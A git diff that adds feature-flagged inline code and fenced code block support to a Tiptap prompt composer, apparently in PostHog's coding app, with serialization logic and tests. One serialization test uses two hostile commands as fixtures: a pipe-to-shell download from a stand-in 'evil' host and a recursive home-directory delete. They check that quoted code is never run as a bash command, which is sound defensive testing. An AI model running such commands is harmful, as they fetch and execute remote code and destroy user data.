diff --git a/packages/shared/src/flags.ts b/packages/shared/src/flags.ts index d692da1fda..a65ace465e 100644 --- a/packages/shared/src/flags.ts +++ b/packages/shared/src/flags.ts @@ -21,3 +21,5 @@ export const GLM_MODEL_FLAG = "posthog-code-glm-model"; export const SPOKEN_NARRATION_FLAG = "posthog-code-spoken-narration"; // Gates importing and relaying local MCP servers into cloud task runs. export const LOCAL_MCP_IMPORT_FLAG = "posthog-code-local-mcp-import"; +/** Gates inline-code and fenced-code-block rendering in the message composer. */ +export const PROMPT_CODE_BLOCKS_FLAG = "posthog-code-prompt-code-blocks"; diff --git a/packages/ui/package.json b/packages/ui/package.json index a93ec5c3a5..f1fc56c51e 100644 --- a/packages/ui/package.json +++ b/packages/ui/package.json @@ -70,6 +70,7 @@ "@tanstack/react-router-devtools": "catalog:", "@tanstack/react-virtual": "^3.13.26", "@tiptap/core": "^3.13.0", + "@tiptap/extension-code-block": "^3.13.0", "@tiptap/extension-mention": "^3.13.0", "@tiptap/extension-placeholder": "^3.13.0", "@tiptap/pm": "^3.13.0", diff --git a/packages/ui/src/features/message-editor/components/PromptInput.test.tsx b/packages/ui/src/features/message-editor/components/PromptInput.test.tsx index e56f646a67..ed0e78efe6 100644 --- a/packages/ui/src/features/message-editor/components/PromptInput.test.tsx +++ b/packages/ui/src/features/message-editor/components/PromptInput.test.tsx @@ -38,6 +38,10 @@ vi.mock("../../skills/useSkills", () => ({ useSkills: () => ({ data: [] }), })); +vi.mock("@posthog/ui/features/feature-flags/useFeatureFlag", () => ({ + useFeatureFlag: () => false, +})); + vi.mock("../draftStore", () => ({ useDraftStore: Object.assign( (selector: (s: unknown) => unknown) => diff --git a/packages/ui/src/features/message-editor/components/PromptInput.tsx b/packages/ui/src/features/message-editor/components/PromptInput.tsx index a50af3c624..09d63e4a55 100644 --- a/packages/ui/src/features/message-editor/components/PromptInput.tsx +++ b/packages/ui/src/features/message-editor/components/PromptInput.tsx @@ -2,7 +2,9 @@ import "./message-editor.css"; import type { SessionConfigOption } from "@agentclientprotocol/sdk"; import { ArrowUp, Stop } from "@phosphor-icons/react"; import { InputGroup, InputGroupAddon, InputGroupButton } from "@posthog/quill"; +import { PROMPT_CODE_BLOCKS_FLAG } from "@posthog/shared"; import { SHORTCUTS } from "@posthog/ui/features/command/keyboard-shortcuts"; +import { useFeatureFlag } from "@posthog/ui/features/feature-flags/useFeatureFlag"; import type { PromptRecallHandler } from "@posthog/ui/features/sessions/components/chat-thread/composerPromptRecall"; import { cycleModeOption } from "@posthog/ui/features/sessions/sessionStore"; import { useSettingsStore } from "@posthog/ui/features/settings/settingsStore"; @@ -155,6 +157,8 @@ export const PromptInput = forwardRef( const clearFocusRequest = useDraftStore((s) => s.actions.clearFocusRequest); const slotMachineMode = useSettingsStore((s) => s.slotMachineMode); const { data: skills } = useSkills(); + const codeBlocksEnabled = + useFeatureFlag(PROMPT_CODE_BLOCKS_FLAG) || import.meta.env.DEV; const { editor, @@ -189,6 +193,7 @@ export const PromptInput = forwardRef( bashMode: enableBashMode, commands: enableCommands, }, + codeBlocks: codeBlocksEnabled, getPromptHistory, onPromptRecall, onBeforeSubmit, diff --git a/packages/ui/src/features/message-editor/components/message-editor.css b/packages/ui/src/features/message-editor/components/message-editor.css index fb2b3cff2e..e97c7dae12 100644 --- a/packages/ui/src/features/message-editor/components/message-editor.css +++ b/packages/ui/src/features/message-editor/components/message-editor.css @@ -12,6 +12,36 @@ display: inline; } +/* Inline code quote (`text`) and fenced code block (``` + Enter) */ +.cli-editor code.composer-inline-code { + font-family: var(--font-mono); + font-size: 12px; + background: var(--gray-a3); + border: 1px solid var(--gray-a5); + border-radius: 3px; + padding: 0 3px; +} + +.cli-editor pre.composer-code-block { + font-family: var(--font-mono); + font-size: 12px; + background: var(--gray-a2); + border: 1px solid var(--gray-a4); + border-radius: 6px; + padding: 6px 8px; + margin: 4px 0; + white-space: pre; + overflow-x: auto; +} + +.cli-editor pre.composer-code-block code { + font-family: inherit; + font-size: inherit; + background: transparent; + border: none; + padding: 0; +} + /* Editor scrollbar - slim, transparent track, hugs right edge */ .cli-editor-scroll::-webkit-scrollbar { width: 6px; diff --git a/packages/ui/src/features/message-editor/tiptap/CodeBlockArrowExit.ts b/packages/ui/src/features/message-editor/tiptap/CodeBlockArrowExit.ts new file mode 100644 index 0000000000..6bff08e1c9 --- /dev/null +++ b/packages/ui/src/features/message-editor/tiptap/CodeBlockArrowExit.ts @@ -0,0 +1,39 @@ +import { Extension } from "@tiptap/core"; +import { TextSelection } from "@tiptap/pm/state"; + +/** + * Escape hatch for a fenced code block sitting at the very top of the doc: + * ArrowUp on the block's first line inserts an empty paragraph above and + * moves the caret there. Mirrors CodeBlock's built-in `exitOnArrowDown`, + * which Tiptap ships no upward counterpart for. + */ +export const CodeBlockArrowExit = Extension.create({ + name: "codeBlockArrowExit", + + addKeyboardShortcuts() { + return { + ArrowUp: ({ editor }) => { + const { selection, schema } = editor.state; + if (!selection.empty) return false; + const { $from } = selection; + if ($from.parent.type.name !== "codeBlock") return false; + // Only when the block is the doc's first child and the caret is on + // the first visual line, so plain in-block navigation still works. + if ($from.index(0) !== 0) return false; + if (!editor.view.endOfTextblock("up")) return false; + + const paragraph = schema.nodes.paragraph.createAndFill(); + if (!paragraph) return false; + + return editor.commands.command(({ tr, dispatch }) => { + if (dispatch) { + tr.insert(0, paragraph); + tr.setSelection(TextSelection.create(tr.doc, 1)); + tr.scrollIntoView(); + } + return true; + }); + }, + }; + }, +}); diff --git a/packages/ui/src/features/message-editor/tiptap/codeFence.test.ts b/packages/ui/src/features/message-editor/tiptap/codeFence.test.ts new file mode 100644 index 0000000000..56fab2aa94 --- /dev/null +++ b/packages/ui/src/features/message-editor/tiptap/codeFence.test.ts @@ -0,0 +1,97 @@ +import { Editor } from "@tiptap/core"; +import { afterEach, describe, expect, it } from "vitest"; +import { convertFenceLine, findCodeFenceLine } from "./codeFence"; +import { getEditorExtensions } from "./extensions"; + +let editor: Editor; + +function buildEditor(content: string) { + editor = new Editor({ + extensions: getEditorExtensions({ + sessionId: "test-session", + fileMentions: false, + issueMentions: false, + commands: false, + codeBlocks: true, + }), + content, + }); + editor.commands.focus("end"); + return editor; +} + +afterEach(() => { + editor?.destroy(); +}); + +describe("findCodeFenceLine", () => { + it("matches a fence opening the paragraph", () => { + buildEditor("

```js

"); + const fence = findCodeFenceLine(editor.view); + expect(fence).toMatchObject({ language: "js", afterHardBreak: false }); + }); + + it("matches a fence on the line after a hard break", () => { + buildEditor("

some text
```

"); + const fence = findCodeFenceLine(editor.view); + expect(fence).toMatchObject({ language: "", afterHardBreak: true }); + }); + + it.each([ + { name: "text before the fence on the same line", html: "

text ```

" }, + { name: "no fence at all", html: "

hello

" }, + { name: "a quadruple backtick run", html: "

````

" }, + ])("returns null for $name", ({ html }) => { + buildEditor(html); + expect(findCodeFenceLine(editor.view)).toBeNull(); + }); +}); + +describe("convertFenceLine", () => { + it("converts a fence after a hard break into a code block after the paragraph", () => { + buildEditor("

some text
```py

"); + + expect(convertFenceLine(editor.view)).toBe(true); + + const json = editor.getJSON(); + expect(json.content).toEqual([ + { type: "paragraph", content: [{ type: "text", text: "some text" }] }, + { type: "codeBlock", attrs: { language: "py" } }, + // StarterKit's TrailingNode keeps a paragraph after the block. + { type: "paragraph" }, + ]); + // Caret ends up inside the new code block. + expect(editor.state.selection.$from.parent.type.name).toBe("codeBlock"); + }); + + it("converts a paragraph-opening fence in place", () => { + buildEditor("

```js

"); + + expect(convertFenceLine(editor.view)).toBe(true); + + expect(editor.getJSON().content).toEqual([ + { type: "codeBlock", attrs: { language: "js" } }, + { type: "paragraph" }, + ]); + expect(editor.state.selection.$from.parent.type.name).toBe("codeBlock"); + }); + + it("does nothing when the line is not a fence", () => { + buildEditor("

text ```

"); + expect(convertFenceLine(editor.view)).toBe(false); + }); +}); + +describe("space after ```", () => { + it("does not create a code block (Enter is the only trigger)", () => { + buildEditor("

```

"); + const { view } = editor; + const handled = view.someProp("handleTextInput", (f) => + f(view, view.state.selection.from, view.state.selection.to, " ", () => + view.state.tr.insertText(" "), + ), + ); + expect(handled ?? false).toBe(false); + expect(editor.getJSON().content?.[0]?.type).toBe("paragraph"); + }); +}); diff --git a/packages/ui/src/features/message-editor/tiptap/codeFence.ts b/packages/ui/src/features/message-editor/tiptap/codeFence.ts new file mode 100644 index 0000000000..24289df488 --- /dev/null +++ b/packages/ui/src/features/message-editor/tiptap/codeFence.ts @@ -0,0 +1,80 @@ +import { TextSelection } from "@tiptap/pm/state"; +import type { EditorView } from "@tiptap/pm/view"; + +export function inCodeBlock(view: EditorView): boolean { + return view.state.selection.$from.parent.type.spec.code === true; +} + +interface CodeFenceLine { + language: string; + /** Doc position where the fence text starts, including the preceding hard break. */ + deleteFrom: number; + /** The fence follows a Shift+Enter hard break rather than opening the paragraph. */ + afterHardBreak: boolean; +} + +// Caret at the end of a paragraph whose current line (after the last hard +// break, or the whole paragraph) is a ``` fence opener. +export function findCodeFenceLine(view: EditorView): CodeFenceLine | null { + const { $from, empty } = view.state.selection; + if (!empty) return null; + const parent = $from.parent; + if (parent.type.name !== "paragraph") return null; + if ($from.parentOffset !== parent.content.size) return null; + + let lineStartOffset = 0; + let afterHardBreak = false; + parent.forEach((child, offset) => { + if (child.type.name === "hardBreak") { + lineStartOffset = offset + child.nodeSize; + afterHardBreak = true; + } + }); + // Atoms (mention chips) on the line show up as the replacement char and + // fail the match, so a chip-bearing line is never treated as a fence. + const lineText = parent.textBetween( + lineStartOffset, + parent.content.size, + undefined, + "", + ); + const match = /^```(\w*)$/.exec(lineText); + if (!match) return null; + const lineStartPos = $from.start() + lineStartOffset; + return { + language: match[1], + deleteFrom: afterHardBreak ? lineStartPos - 1 : lineStartPos, + afterHardBreak, + }; +} + +// Shift+Enter on a ``` fence line converts it to a code block. The stock +// input rules are disabled (they fire on "``` " with a space or Enter, and +// only match a fence that opens the paragraph), so both cases are handled +// here: a paragraph-opening fence converts in place, and a fence typed after +// a hard break strips the break + fence and opens a code block right after +// the paragraph. +export function convertFenceLine(view: EditorView): boolean { + const fence = findCodeFenceLine(view); + if (!fence) return false; + const codeBlockType = view.state.schema.nodes.codeBlock; + if (!codeBlockType) return false; + const attrs = { language: fence.language || null }; + + const { $from } = view.state.selection; + const tr = view.state.tr.delete(fence.deleteFrom, $from.pos); + + if (fence.afterHardBreak) { + const codeBlock = codeBlockType.createAndFill(attrs); + if (!codeBlock) return false; + const afterParagraph = tr.mapping.map($from.after()); + tr.insert(afterParagraph, codeBlock); + tr.setSelection(TextSelection.create(tr.doc, afterParagraph + 1)); + } else { + tr.setBlockType(fence.deleteFrom, fence.deleteFrom, codeBlockType, attrs); + } + + tr.scrollIntoView(); + view.dispatch(tr); + return true; +} diff --git a/packages/ui/src/features/message-editor/tiptap/extensions.test.ts b/packages/ui/src/features/message-editor/tiptap/extensions.test.ts new file mode 100644 index 0000000000..3f06c0e97f --- /dev/null +++ b/packages/ui/src/features/message-editor/tiptap/extensions.test.ts @@ -0,0 +1,31 @@ +import { Editor } from "@tiptap/core"; +import { describe, expect, it } from "vitest"; +import { getEditorExtensions } from "./extensions"; + +function buildEditor(codeBlocks: boolean) { + return new Editor({ + extensions: getEditorExtensions({ + sessionId: "test-session", + fileMentions: false, + issueMentions: false, + commands: false, + codeBlocks, + }), + }); +} + +describe("getEditorExtensions", () => { + it("includes the code mark and codeBlock node when codeBlocks is on", () => { + const editor = buildEditor(true); + expect(editor.schema.marks.code).toBeDefined(); + expect(editor.schema.nodes.codeBlock).toBeDefined(); + editor.destroy(); + }); + + it("excludes the code mark and codeBlock node when codeBlocks is off", () => { + const editor = buildEditor(false); + expect(editor.schema.marks.code).toBeUndefined(); + expect(editor.schema.nodes.codeBlock).toBeUndefined(); + editor.destroy(); + }); +}); diff --git a/packages/ui/src/features/message-editor/tiptap/extensions.ts b/packages/ui/src/features/message-editor/tiptap/extensions.ts index 64330e77ba..2c369c0c16 100644 --- a/packages/ui/src/features/message-editor/tiptap/extensions.ts +++ b/packages/ui/src/features/message-editor/tiptap/extensions.ts @@ -1,16 +1,28 @@ +import CodeBlock from "@tiptap/extension-code-block"; import Placeholder from "@tiptap/extension-placeholder"; import StarterKit from "@tiptap/starter-kit"; +import { CodeBlockArrowExit } from "./CodeBlockArrowExit"; import { createCommandMention } from "./CommandMention"; import { createFileMention } from "./FileMention"; import { createIssueMention } from "./IssueMention"; import { MentionChipNode } from "./MentionChipNode"; +// The stock CodeBlock input rules convert "``` " (trailing space) as well as +// Enter; the composer only creates a fence on Shift+Enter (handled in +// useTiptapEditor via convertFenceLine), so drop them entirely. +const ComposerCodeBlock = CodeBlock.extend({ + addInputRules() { + return []; + }, +}).configure({ HTMLAttributes: { class: "composer-code-block" } }); + export interface EditorExtensionsOptions { sessionId: string; placeholder?: string; fileMentions?: boolean; issueMentions?: boolean; commands?: boolean; + codeBlocks?: boolean; } export function getEditorExtensions(options: EditorExtensionsOptions) { @@ -20,6 +32,7 @@ export function getEditorExtensions(options: EditorExtensionsOptions) { fileMentions = true, issueMentions = true, commands = true, + codeBlocks = false, } = options; const extensions = [ @@ -34,12 +47,18 @@ export function getEditorExtensions(options: EditorExtensionsOptions) { bold: false, italic: false, strike: false, - code: false, + code: codeBlocks + ? { HTMLAttributes: { class: "composer-inline-code" } } + : false, }), Placeholder.configure({ placeholder }), MentionChipNode, ]; + if (codeBlocks) { + extensions.push(ComposerCodeBlock, CodeBlockArrowExit); + } + if (fileMentions) { extensions.push(createFileMention(sessionId)); } diff --git a/packages/ui/src/features/message-editor/tiptap/useDraftSync.serialization.test.ts b/packages/ui/src/features/message-editor/tiptap/useDraftSync.serialization.test.ts new file mode 100644 index 0000000000..67dad94224 --- /dev/null +++ b/packages/ui/src/features/message-editor/tiptap/useDraftSync.serialization.test.ts @@ -0,0 +1,169 @@ +import type { EditorContent } from "@posthog/core/message-editor/content"; +import { isBashModeText } from "@posthog/core/message-editor/paste"; +import type { JSONContent } from "@tiptap/core"; +import { describe, expect, it, vi } from "vitest"; + +vi.mock("@posthog/ui/shell/rendererStorage", () => ({ + electronStorage: { + getItem: () => null, + setItem: () => {}, + removeItem: () => {}, + }, +})); + +import { + contentToSerializedText, + editorContentToTiptapJson, + tiptapJsonToEditorContent, +} from "./useDraftSync"; + +function doc(...content: JSONContent[]): JSONContent { + return { type: "doc", content }; +} + +function p(...content: JSONContent[]): JSONContent { + return { type: "paragraph", content }; +} + +function text(value: string): JSONContent { + return { type: "text", text: value }; +} + +function code(value: string): JSONContent { + return { type: "text", text: value, marks: [{ type: "code" }] }; +} + +function codeBlock( + content: string, + language: string | null = null, +): JSONContent { + return { + type: "codeBlock", + attrs: { language }, + content: content ? [{ type: "text", text: content }] : undefined, + }; +} + +function toText(content: EditorContent): string { + return content.segments + .map((seg) => (seg.type === "text" ? seg.text : `@${seg.chip.label}`)) + .join(""); +} + +describe("tiptapJsonToEditorContent", () => { + it.each([ + { + name: "wraps an inline code mark in backticks", + json: doc(p(text("run "), code("pnpm dev"), text(" now"))), + expected: "run `pnpm dev` now", + }, + { + name: "merges adjacent code-marked text nodes into one span", + json: doc(p(code("pnpm"), code(" dev"))), + expected: "`pnpm dev`", + }, + { + name: "lengthens the delimiter for code containing a backtick", + json: doc(p(code("a`b"))), + expected: "``a`b``", + }, + { + name: "pads code starting or ending with a backtick", + json: doc(p(code("`a"))), + expected: "`` `a ``", + }, + { + name: "serializes a code block as a markdown fence", + json: doc(codeBlock("const x = 1;\nconst y = 2;")), + expected: "```\nconst x = 1;\nconst y = 2;\n```", + }, + { + name: "includes the language on the fence line", + json: doc(codeBlock("print(1)", "python")), + expected: "```python\nprint(1)\n```", + }, + { + name: "preserves blank lines inside a code block", + json: doc(codeBlock("a\n\nb")), + expected: "```\na\n\nb\n```", + }, + { + name: "lengthens the fence when the code contains triple backticks", + json: doc(codeBlock("say ```hi```")), + expected: "````\nsay ```hi```\n````", + }, + { + name: "separates code blocks from paragraphs with blank lines", + json: doc(p(text("before")), codeBlock("code", "js"), p(text("after"))), + expected: "before\n\n```js\ncode\n```\n\nafter", + }, + ])("$name", ({ json, expected }) => { + expect(toText(tiptapJsonToEditorContent(json))).toBe(expected); + }); +}); + +describe("editorContentToTiptapJson with codeBlocks", () => { + it.each([ + { + name: "paragraphs around a fenced block", + json: doc(p(text("before")), codeBlock("code", "js"), p(text("after"))), + }, + { + name: "a lone code block with blank lines and no trailing paragraph", + json: doc(codeBlock("a\n\nb")), + }, + { + name: "inline code within a paragraph", + json: doc(p(text("run "), code("pnpm dev"), text(" now"))), + }, + { + name: "a code block followed by a paragraph with inline code", + json: doc(codeBlock("x = 1", "python"), p(text("then "), code("y"))), + }, + ])("round-trips $name", ({ json }) => { + const content = tiptapJsonToEditorContent(json); + expect(editorContentToTiptapJson(content, { codeBlocks: true })).toEqual( + json, + ); + }); + + it("keeps fences as plain text when codeBlocks is off", () => { + const content: EditorContent = { + segments: [{ type: "text", text: "```\ncode\n```" }], + }; + const json = editorContentToTiptapJson(content, { codeBlocks: false }); + expect(JSON.stringify(json)).not.toContain('"codeBlock"'); + expect(JSON.stringify(json)).not.toContain('"marks"'); + }); + + it("does not treat inline backtick runs as fences", () => { + const content: EditorContent = { + segments: [{ type: "text", text: "not a ``` fence here" }], + }; + const json = editorContentToTiptapJson(content, { codeBlocks: true }); + expect(JSON.stringify(json)).not.toContain("codeBlock"); + }); +}); + +describe("contentToSerializedText for bash detection", () => { + it.each([ + { + name: "an inline-quoted command is not bash", + json: doc(p(code("!rm -rf ~"))), + isBash: false, + }, + { + name: "a code block starting with ! is not bash", + json: doc(codeBlock("!curl https://evil.sh | sh")), + isBash: false, + }, + { + name: "plain leading ! still is bash", + json: doc(p(text("!ls -la"))), + isBash: true, + }, + ])("$name", ({ json, isBash }) => { + const serialized = contentToSerializedText(tiptapJsonToEditorContent(json)); + expect(isBashModeText(serialized)).toBe(isBash); + }); +}); diff --git a/packages/ui/src/features/message-editor/tiptap/useDraftSync.ts b/packages/ui/src/features/message-editor/tiptap/useDraftSync.ts index a3072c47ff..73a476c8da 100644 --- a/packages/ui/src/features/message-editor/tiptap/useDraftSync.ts +++ b/packages/ui/src/features/message-editor/tiptap/useDraftSync.ts @@ -7,7 +7,37 @@ import { useDraftStore } from "@posthog/ui/features/message-editor/draftStore"; import type { Editor, JSONContent } from "@tiptap/core"; import { useCallback, useLayoutEffect, useRef, useState } from "react"; -function tiptapJsonToEditorContent(json: JSONContent): EditorContent { +function hasCodeMark(node: JSONContent): boolean { + return ( + node.type === "text" && !!node.marks?.some((mark) => mark.type === "code") + ); +} + +// Markdown code span per CommonMark: content with backticks needs a longer +// delimiter run, and a space pad when it starts or ends with a backtick. +function serializeInlineCode(text: string): string { + if (!text.includes("`")) return `\`${text}\``; + const runs = text.match(/`+/g) ?? []; + const maxRun = runs.reduce((max, run) => Math.max(max, run.length), 0); + const delimiter = "`".repeat(maxRun + 1); + const pad = text.startsWith("`") || text.endsWith("`") ? " " : ""; + return `${delimiter}${pad}${text}${pad}${delimiter}`; +} + +// Markdown fenced block; the fence grows past any backtick run in the code. +function serializeCodeBlock(node: JSONContent): string { + const text = (node.content ?? []) + .map((child) => (child.type === "text" ? (child.text ?? "") : "")) + .join(""); + const runs = text.match(/`+/g) ?? []; + const maxRun = runs.reduce((max, run) => Math.max(max, run.length), 0); + const fence = "`".repeat(Math.max(3, maxRun + 1)); + const language = + typeof node.attrs?.language === "string" ? node.attrs.language : ""; + return `${fence}${language}\n${text}\n${fence}`; +} + +export function tiptapJsonToEditorContent(json: JSONContent): EditorContent { const segments: EditorContent["segments"] = []; const traverse = (node: JSONContent) => { @@ -30,6 +60,8 @@ function tiptapJsonToEditorContent(json: JSONContent): EditorContent { skillName: node.attrs.skillName, }, }); + } else if (node.type === "codeBlock") { + segments.push({ type: "text", text: serializeCodeBlock(node) }); } else if (node.type === "doc" && node.content) { // Add double newlines between paragraphs for markdown rendering // (single newlines in markdown become spaces, double newlines create paragraph breaks) @@ -40,8 +72,20 @@ function tiptapJsonToEditorContent(json: JSONContent): EditorContent { traverse(node.content[i]); } } else if (node.content) { - for (const child of node.content) { - traverse(child); + const children = node.content; + for (let i = 0; i < children.length; i++) { + if (hasCodeMark(children[i])) { + // Merge adjacent code-marked text nodes so a span the schema split + // apart serializes as one backticked run. + let text = children[i].text ?? ""; + while (i + 1 < children.length && hasCodeMark(children[i + 1])) { + i++; + text += children[i].text ?? ""; + } + segments.push({ type: "text", text: serializeInlineCode(text) }); + } else { + traverse(children[i]); + } } } }; @@ -50,33 +94,149 @@ function tiptapJsonToEditorContent(json: JSONContent): EditorContent { return { segments }; } -export function editorContentToTiptapJson(content: EditorContent): JSONContent { - const paragraphs: JSONContent[] = []; +/** + * Plain text of the content with quoting markup preserved: code marks keep + * their backticks and code blocks keep their ``` fences (chips contribute + * nothing, matching editor.getText()). Bash-mode detection must use this + * instead of editor.getText(), which strips the markup — otherwise content + * rendered as a quoted literal (e.g. `!rm -rf ~`) would be executed as a + * bash command on submit. + */ +export function contentToSerializedText(content: EditorContent): string { + return content.segments + .map((seg) => (seg.type === "text" ? seg.text : "")) + .join(""); +} + +type FencePart = + | { kind: "text"; text: string } + | { kind: "code"; language: string; code: string }; + +// A fence line, its content, and a matching closing fence — anchored to line +// starts so inline backtick runs never match. +const FENCED_BLOCK_REGEX = /(?:^|\n)(`{3,})(\w*)\n([\s\S]*?)\n\1(?=\n|$)/g; + +function splitFencedBlocks(text: string): FencePart[] { + const parts: FencePart[] = []; + let last = 0; + for (const match of text.matchAll(FENCED_BLOCK_REGEX)) { + const index = match.index ?? 0; + // Drop the "\n\n" block separator the serializer places around fences + // (the regex already consumed one of the two newlines). + const before = text.slice(last, index).replace(/\n$/, ""); + if (before) parts.push({ kind: "text", text: before }); + parts.push({ kind: "code", language: match[2], code: match[3] }); + last = index + match[0].length; + } + if (last === 0) return [{ kind: "text", text }]; + const rest = text.slice(last).replace(/^\n{1,2}/, ""); + if (rest) parts.push({ kind: "text", text: rest }); + return parts; +} + +const INLINE_CODE_REGEX = /`([^`\n]+)`/g; + +export interface EditorContentToTiptapJsonOptions { + /** + * Parse markdown backtick spans and ``` fences back into `code` marks and + * `codeBlock` nodes. Gate on the live editor schema + * (`!!editor.schema.nodes.codeBlock`), not the feature flag, so restoring a + * stored draft never references node types the editor doesn't have. + */ + codeBlocks?: boolean; +} + +export function editorContentToTiptapJson( + content: EditorContent, + options?: EditorContentToTiptapJsonOptions, +): JSONContent { + const parseCodeBlocks = options?.codeBlocks ?? false; + const blocks: JSONContent[] = []; let currentParagraphContent: JSONContent[] = []; + // A doc that ends with a code block shouldn't gain a trailing empty + // paragraph — it would re-serialize with a spurious "\n\n". + let closedByCodeBlock = false; const flushParagraph = () => { - paragraphs.push({ type: "paragraph", content: currentParagraphContent }); + blocks.push({ type: "paragraph", content: currentParagraphContent }); currentParagraphContent = []; + closedByCodeBlock = false; + }; + + const pushLineText = (line: string) => { + if (!parseCodeBlocks) { + currentParagraphContent.push({ type: "text", text: line }); + return; + } + let last = 0; + for (const match of line.matchAll(INLINE_CODE_REGEX)) { + const index = match.index ?? 0; + if (index > last) { + currentParagraphContent.push({ + type: "text", + text: line.slice(last, index), + }); + } + currentParagraphContent.push({ + type: "text", + text: match[1], + marks: [{ type: "code" }], + }); + last = index + match[0].length; + } + if (last < line.length) { + currentParagraphContent.push({ type: "text", text: line.slice(last) }); + } + }; + + const pushInlineText = (rawText: string) => { + // Swallow the "\n\n" block separator that follows a code block — the + // serializer emits it as its own text segment, and replaying it here + // would create a spurious empty paragraph. + const text = closedByCodeBlock ? rawText.replace(/^\n{1,2}/, "") : rawText; + closedByCodeBlock = false; + if (!text) return; + const paragraphParts = text.split("\n\n"); + for (let i = 0; i < paragraphParts.length; i++) { + if (i > 0) { + flushParagraph(); + } + const lineParts = paragraphParts[i].split(/ {2}\n|\n/); + for (let j = 0; j < lineParts.length; j++) { + if (j > 0) { + currentParagraphContent.push({ type: "hardBreak" }); + } + if (lineParts[j]) { + pushLineText(lineParts[j]); + } + } + } }; for (const seg of content.segments) { if (seg.type === "text") { - const paragraphParts = seg.text.split("\n\n"); - for (let i = 0; i < paragraphParts.length; i++) { - if (i > 0) { - flushParagraph(); - } - const lineParts = paragraphParts[i].split(/ {2}\n|\n/); - for (let j = 0; j < lineParts.length; j++) { - if (j > 0) { - currentParagraphContent.push({ type: "hardBreak" }); - } - if (lineParts[j]) { - currentParagraphContent.push({ type: "text", text: lineParts[j] }); + const parts = parseCodeBlocks + ? splitFencedBlocks(seg.text) + : [{ kind: "text" as const, text: seg.text }]; + for (const part of parts) { + if (part.kind === "code") { + if (currentParagraphContent.length > 0) { + flushParagraph(); } + blocks.push({ + type: "codeBlock", + attrs: { language: part.language || null }, + content: part.code + ? [{ type: "text", text: part.code }] + : undefined, + }); + closedByCodeBlock = true; + } else { + pushInlineText(part.text); } } } else { + closedByCodeBlock = false; currentParagraphContent.push({ type: "mentionChip", attrs: { @@ -92,15 +252,17 @@ export function editorContentToTiptapJson(content: EditorContent): JSONContent { } } - flushParagraph(); + if (currentParagraphContent.length > 0 || !closedByCodeBlock) { + flushParagraph(); + } - if (paragraphs.length === 0) { - paragraphs.push({ type: "paragraph", content: [] }); + if (blocks.length === 0) { + blocks.push({ type: "paragraph", content: [] }); } return { type: "doc", - content: paragraphs, + content: blocks, }; } @@ -163,7 +325,11 @@ export function useDraftSync( if (typeof draft === "string") { editor.commands.setContent(draft); } else { - editor.commands.setContent(editorContentToTiptapJson(draft)); + editor.commands.setContent( + editorContentToTiptapJson(draft, { + codeBlocks: !!editor.schema.nodes.codeBlock, + }), + ); } }, [hasHydrated, draft, editor]); @@ -171,7 +337,11 @@ export function useDraftSync( useLayoutEffect(() => { if (!editor || !pendingContent) return; - editor.commands.setContent(editorContentToTiptapJson(pendingContent)); + editor.commands.setContent( + editorContentToTiptapJson(pendingContent, { + codeBlocks: !!editor.schema.nodes.codeBlock, + }), + ); editor.commands.focus("end", { scrollIntoView: false }); draftActions.clearPendingContent(sessionId); }, [editor, pendingContent, sessionId, draftActions]); @@ -181,7 +351,9 @@ export function useDraftSync( editor.commands.focus("end"); editor.commands.insertContent( - editorContentToTiptapJson(pendingInsert).content ?? [], + editorContentToTiptapJson(pendingInsert, { + codeBlocks: !!editor.schema.nodes.codeBlock, + }).content ?? [], ); draftActions.clearPendingInsert(sessionId); }, [editor, pendingInsert, sessionId, draftActions]); diff --git a/packages/ui/src/features/message-editor/tiptap/useTiptapEditor.ts b/packages/ui/src/features/message-editor/tiptap/useTiptapEditor.ts index 1b11f8bbb8..a952d0d292 100644 --- a/packages/ui/src/features/message-editor/tiptap/useTiptapEditor.ts +++ b/packages/ui/src/features/message-editor/tiptap/useTiptapEditor.ts @@ -42,8 +42,10 @@ import { getGithubIssue, getGithubPullRequest } from "../hostApi"; import { usePasteUndoStore } from "../pasteUndoStore"; import { usePromptHistoryStore } from "../promptHistoryStore"; import { findChipRangeById } from "../tiptap/chipRange"; +import { convertFenceLine, inCodeBlock } from "../tiptap/codeFence"; import { getEditorExtensions } from "../tiptap/extensions"; import { + contentToSerializedText, type DraftContext, editorContentToTiptapJson, useDraftSync, @@ -69,6 +71,7 @@ export interface UseTiptapEditorOptions { commands?: boolean; bashMode?: boolean; }; + codeBlocks?: boolean; clearOnSubmit?: boolean; getPromptHistory?: () => string[]; onPromptRecall?: PromptRecallHandler; @@ -259,6 +262,7 @@ export function useTiptapEditor(options: UseTiptapEditorOptions) { autoFocus = false, context, capabilities = {}, + codeBlocks = false, clearOnSubmit = true, getPromptHistory, onPromptRecall, @@ -339,6 +343,7 @@ export function useTiptapEditor(options: UseTiptapEditorOptions) { placeholder, fileMentions, commands, + codeBlocks, }), editable: !disabled, autofocus: autoFocus ? "end" : false, @@ -376,9 +381,47 @@ export function useTiptapEditor(options: UseTiptapEditorOptions) { return true; } + if ( + codeBlocks && + view.editable && + event.key === "Enter" && + event.shiftKey && + !event.metaKey && + !event.ctrlKey && + !event.altKey && + !hasVisibleSuggestionPopup(sessionId) + ) { + // Inside a code block, Shift+Enter adds a newline (Enter is + // reserved for submit; Tiptap's hard-break shortcut would + // otherwise exit the block via exitCode). + if (inCodeBlock(view)) { + event.preventDefault(); + view.dispatch(view.state.tr.insertText("\n").scrollIntoView()); + return true; + } + // Shift+Enter on a ``` fence line creates the code block (the + // only trigger — the stock space/enter input rules are + // disabled). On any other line Shift+Enter keeps its usual + // hard-break behavior. + if (convertFenceLine(view)) { + event.preventDefault(); + return true; + } + } + if (isSendMessageSubmitKey(event)) { - if (!view.editable || submitDisabledRef.current) return false; + if (!view.editable) return false; if (hasVisibleSuggestionPopup(sessionId)) return false; + if (submitDisabledRef.current) { + // With code blocks on, Enter is reserved for submit — only + // Shift+Enter makes a line — so a disabled submit swallows the + // key instead of letting ProseMirror split the paragraph. + if (codeBlocks) { + event.preventDefault(); + return true; + } + return false; + } event.preventDefault(); historyActions.reset(); submitRef.current(); @@ -394,6 +437,11 @@ export function useTiptapEditor(options: UseTiptapEditorOptions) { !event.metaKey && !event.ctrlKey ) { + // Inside a code block, arrows navigate or exit the block + // (CodeBlock's exitOnArrowDown / CodeBlockArrowExit) — never + // history recall or queued-message dequeue. + if (codeBlocks && inCodeBlock(view)) return false; + const historyGetter = getPromptHistoryRef.current; if (!taskId && !historyGetter && !onPromptRecallRef.current) { return false; @@ -695,7 +743,10 @@ export function useTiptapEditor(options: UseTiptapEditorOptions) { callbackRefs.current.onEmptyChange?.(newIsEmpty); }, onUpdate: ({ editor: e }) => { - const text = e.getText(); + const content = draftRef.current?.getContent(attachmentsRef.current); + // 